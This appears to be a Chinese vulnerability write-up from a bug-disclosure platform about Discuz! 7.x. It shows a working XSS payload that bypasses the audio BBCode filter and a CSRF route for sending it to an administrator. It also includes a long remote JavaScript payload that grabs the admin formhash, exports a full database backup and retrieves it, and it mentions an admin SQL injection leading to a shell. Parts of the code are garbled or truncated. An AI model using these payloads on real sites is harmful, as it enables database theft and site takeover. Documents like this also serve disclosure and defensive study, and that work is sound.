### 简要描述： Discuz! 7.x csrf xss(富文本)脱裤和后台sql(root getshell),这回个真的给你们发一个实实在在的xss,美包包！！！，求加精！ ### 详细说明：今天审核了一下dz 7系列的内容，发现富文本一处代码，可绕过进行xss 首先我们看一下这个富文本绕过，直接看代码： diszus_code.func.php:(305-317): ``` function parseaudio($url, $width = 400, $autostart = 0) { $ext = strtolower(substr(strrchr($url, '.'), 1, 5)); switch($ext) { case 'mp3': case 'wma': case 'mid': case 'wav': return '

'; case 'ra': case 'rm': case 'ram': $mediaid = 'media_'.random(3); return '

'; } } ``` 看见了吗。这里对audio函数的过滤，问题出在这里 ``` $ext = strtolower(substr(strrchr($url, '.'), 1, 5)); ``` 当后面几个字符为wav时候我们就执行的是 ```

'; ``` 哪里调用了这个函数呢： ``` if($allowmediacode && strpos($msglower, '[/audio]') !== FALSE) { $message = preg_replace("/\[audio\]\s*([^\[\<\r\n]+?)\s*\[\/audio\]/ies", "parseaudio('\\1')", $message); } ``` 这里匹配出来就直接传递进去了，而且后续也没有做任何处理，举一个例子吧：如果我们发送的是 [audio]javascript:alert(document.cookie)//.wav[/audio] 这里我们绕过了后缀，并且加入了一个audio标签，src就是javascript:alert(document.cookie)//.wav 这个当然是直接执行了，看图： [

](https://images.seebug.org/upload/201409/151922377891ae5e73290b5ce9de28fc18a6e4de.png) [

](https://images.seebug.org/upload/201409/15192322b2b64dfe4407cfa84b9967933302858f.png) 到这里我们的测试就完毕了，下来我们看看这个怎么利用：这里有两处脱裤地方，第一个地方，是ucenter，这个直接就没有进行csrf防御，直接发给管理员发消息，如图：方法证明来自http://wooyun.org/bugs/wooyun-2010-076080 证明截图为： [

](https://images.seebug.org/upload/201409/15193127bf27d9f5c20e5a2d91192777fe2904af.png) 下来看我怎么样发给管理员：我们普通用户发一张图片给管理员,如图： [

](https://images.seebug.org/upload/201409/1519331376b441a342dfb88cb76841cab3f0d2a6.png) 我们管理员看看这个消息： [

](https://images.seebug.org/upload/201409/15193711d329d1f080eea12d2d91d226c988ae72.png) 这个演示完毕，下来我们看看，无视csrf防御的xss脱裤，我们要脱的就是这里的裤子 [

](https://images.seebug.org/upload/201409/15193923c95c1d4b6fc6efec3b8db01e84a527ef.png) 我们准备一个远程的js：这个js，要干什么第一点我们要寻找到一个formhash 第二点我们要用这个hash发送备份数据库的请求第三我们跳转到备份数据库页面那道备份数据库，完事偷偷走人 ``` function ajax(){ var request = false; if(window.XMLHttpRequest) { request = new XMLHttpRequest(); } else if(window.ActiveXObject) { var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP']; for(var i=0; in) break; } function request_post(flag) { src="http://192.168.10.70/Discuz_7.2_SC_UTF8https://images.seebug.org/upload/admincp.php?action=db&operation=export&setup=1"; if(flag == 1){ data='formhash='+formhash+'&scrolltop=&anchor=&type=discuz&chkall=on&customtables%5B%5D=cdb_access&customtables%5B%5D=cdb_activities&customtables%5B%5D=cdb_activityapplies&customtables%5B%5D=cdb_addons&customtables%5B%5D=cdb_adminactions&customtables%5B%5D=cdb_admincustom&customtables%5B%5D=cdb_admingroups&customtables%5B%5D=cdb_adminnotes&customtables%5B%5D=cdb_adminsessions&customtables%5B%5D=cdb_advertisements&customtables%5B%5D=cdb_announcements&customtables%5B%5D=cdb_attachmentfields&customtables%5B%5D=cdb_attachments&customtables%5B%5D=cdb_attachpaymentlog&customtables%5B%5D=cdb_attachtypes&customtables%5B%5D=cdb_banned&customtables%5B%5D=cdb_bbcodes&customtables%5B%5D=cdb_caches&customtables%5B%5D=cdb_creditslog&customtables%5B%5D=cdb_crons&customtables%5B%5D=cdb_debateposts&customtables%5B%5D=cdb_debates&customtables%5B%5D=cdb_failedlogins&customtables%5B%5D=cdb_faqs&customtables%5B%5D=cdb_favoriteforums&customtables%5B%5D=cdb_favorites&customtables%5B%5D=cdb_favoritethreads&customtables%5B%5D=cdb_feeds&customtables%5B%5D=cdb_forumfields&customtables%5B%5D=cdb_forumlinks&customtables%5B%5D=cdb_forumrecommend&customtables%5B%5D=cdb_forums&customtables%5B%5D=cdb_imagetypes&customtables%5B%5D=cdb_invites&customtables%5B%5D=cdb_itempool&customtables%5B%5D=cdb_magiclog&customtables%5B%5D=cdb_magicmarket&customtables%5B%5D=cdb_magics&customtables%5B%5D=cdb_medallog&customtables%5B%5D=cdb_medals&customtables%5B%5D=cdb_memberfields&customtables%5B%5D=cdb_membermagics&customtables%5B%5D=cdb_memberrecommend&customtables%5B%5D=cdb_members&customtables%5B%5D=cdb_memberspaces&customtables%5B%5D=cdb_moderators&customtables%5B%5D=cdb_modworks&customtables%5B%5D=cdb_mytasks&customtables%5B%5D=cdb_navs&customtables%5B%5D=cdb_onlinelist&customtables%5B%5D=cdb_onlinetime&customtables%5B%5D=cdb_orders&customtables%5B%5D=cdb_paymentlog&customtables%5B%5D=cdb_pluginhooks&customtables%5B%5D=cdb_plugins&customtables%5B%5D=cdb_pluginvars&customtables%5B%5D=cdb_polloptions&customtables%5B%5D=cdb_polls&customtables%5B%5D=cdb_postposition&customtables%5B%5D=cdb_posts&customtables%5B%5D=cdb_profilefields&customtables%5B%5D=cdb_projects&customtables%5B%5D=cdb_promotions&customtables%5B%5D=cdb_prompt&customtables%5B%5D=cdb_promptmsgs&customtables%5B%5D=cdb_prompttype&customtables%5B%5D=cdb_ranks&customtables%5B%5D=cdb_ratelog&customtables%5B%5D=cdb_regips&customtables%5B%5D=cdb_relatedthreads&customtables%5B%5D=cdb_reportlog&customtables%5B%5D=cdb_request&customtables%5B%5D=cdb_rewardlog&customtables%5B%5D=cdb_rsscaches&customtables%5B%5D=cdb_searchindex&customtables%5B%5D=cdb_sessions&customtables%5B%5D=cdb_settings&customtables%5B%5D=cdb_smilies&customtables%5B%5D=cdb_spacecaches&customtables%5B%5D=cdb_stats&customtables%5B%5D=cdb_statvars&customtables%5B%5D=cdb_styles&customtables%5B%5D=cdb_stylevars&customtables%5B%5D=cdb_tags&customtables%5B%5D=cdb_tasks&customtables%5B%5D=cdb_taskvars&customtables%5B%5D=cdb_templates&customtables%5B%5D=cdb_threads&customtables%5B%5D=cdb_threadsmod&customtables%5B%5D=cdb_threadtags&customtables%5B%5D=cdb_threadtypes&customtables%5B%5D=cdb_tradecomments&customtables%5B%5D=cdb_tradelog&customtables%5B%5D=cdb_tradeoptionvars&customtables%5B%5D=cdb_trades&customtables%5B%5D=cdb_typemodels&customtables%5B%5D=cdb_typeoptions&customtables%5B%5D=cdb_typeoptionvars&customtables%5B%5D=cdb_typevars&customtables%5B%5D=cdb_usergroups&customtables%5B%5D=cdb_validating&customtables%5B%5D=cdb_warnings&customtables%5B%5D=cdb_words&method=multivol&sizelimit=2048&extendins=0&sqlcompat=&usehex=1&usezip=0&filename=140915_ce31AeXP&exportsubmit=%E6%8F%90%E4%BA%A4'; xhr_act("POST",src,data); }else{ return; } } function get_database_sql_url(_m,_s,_a){ _x.open(_m,_s,false); _x.setRequestHeader("Cookie",cookie); _x.send(); var document_str = _x.responseText; var p = new RegExp(''); var rs = document_str.match(p); var baseurl='http://192.168.10.70/Discuz_7.2_SC_UTF8https://images.seebug.org/upload/'; if(rs){ baseurl = baseurl+rs[1]; get_database_content("GET",baseurl,""); }else{ return false; } } function get_database_content(_m,_s,_a){ _x.open(_m,_s,false); _x.setRequestHeader("Cookie",cookie); _x.send(); console.log(_x.responseText); } function xhr_act(_m,_s,_a){ if(_m == "GET"){ _x.open(_m,_s,false); _x.setRequestHeader("Cookie",cookie); _x.send(); var document_str = _x.responseText; console.log(document_str); var basestr = 'name="formhash" value="'; var formhashpos = basestr.indexOf(basestr); var realpos = formhashpos + basestr.length; formhash = document_str.substr(realpos,8); if(formhash){ var count_0 = 1; var count_1 = 1; for(var i=0;i](https://images.seebug.org/upload/201409/152011249630f5a340e0d39b1a14168453bfa3bb.png) 然后我们构造我们的xss，让他远程加载这个js： [

](https://images.seebug.org/upload/201409/152038031ec7355935f95a9ed327310984cebd14.png) 然后我们发消息给管理员，把这个帖子分享给他： [

](https://images.seebug.org/upload/201409/15204020de5fd55dd70c62401d486badd259baa5.png) 然后管理员，收到消息就会查看，此帖子： [

](https://images.seebug.org/upload/201409/152041377b669268b4ae303e5754cfe303f6e6b3.png) 当他点击之后，所有的东西就被偷走了 [

](https://images.seebug.org/upload/201409/15204433b8dfab2edf8b9f4ba9092aab1b1c785f.png) ok 这个到这里就玩了，那么我们来看一个sql注入，虽然是后台的，但是我们这里有xss 所以我们无所不能，这里我就不给exploit了直接后台验证： [

](https://images.seebug.org/upload/201409/15204758c895977917d7143e827c52ad4cc2a683.png) [

](https://images.seebug.org/upload/201409/15204806ea4e46600a94948b59b3194cf6fc12fd.png) [

](https://images.seebug.org/upload/201409/15205422b63370d16c790f9eff8636556f6b6c5a.png) [

](https://images.seebug.org/upload/201409/15205828b2664b7935267231dc939e6ee8199093.png) ok到此为止所有的东西已经完毕............. ### 漏洞证明：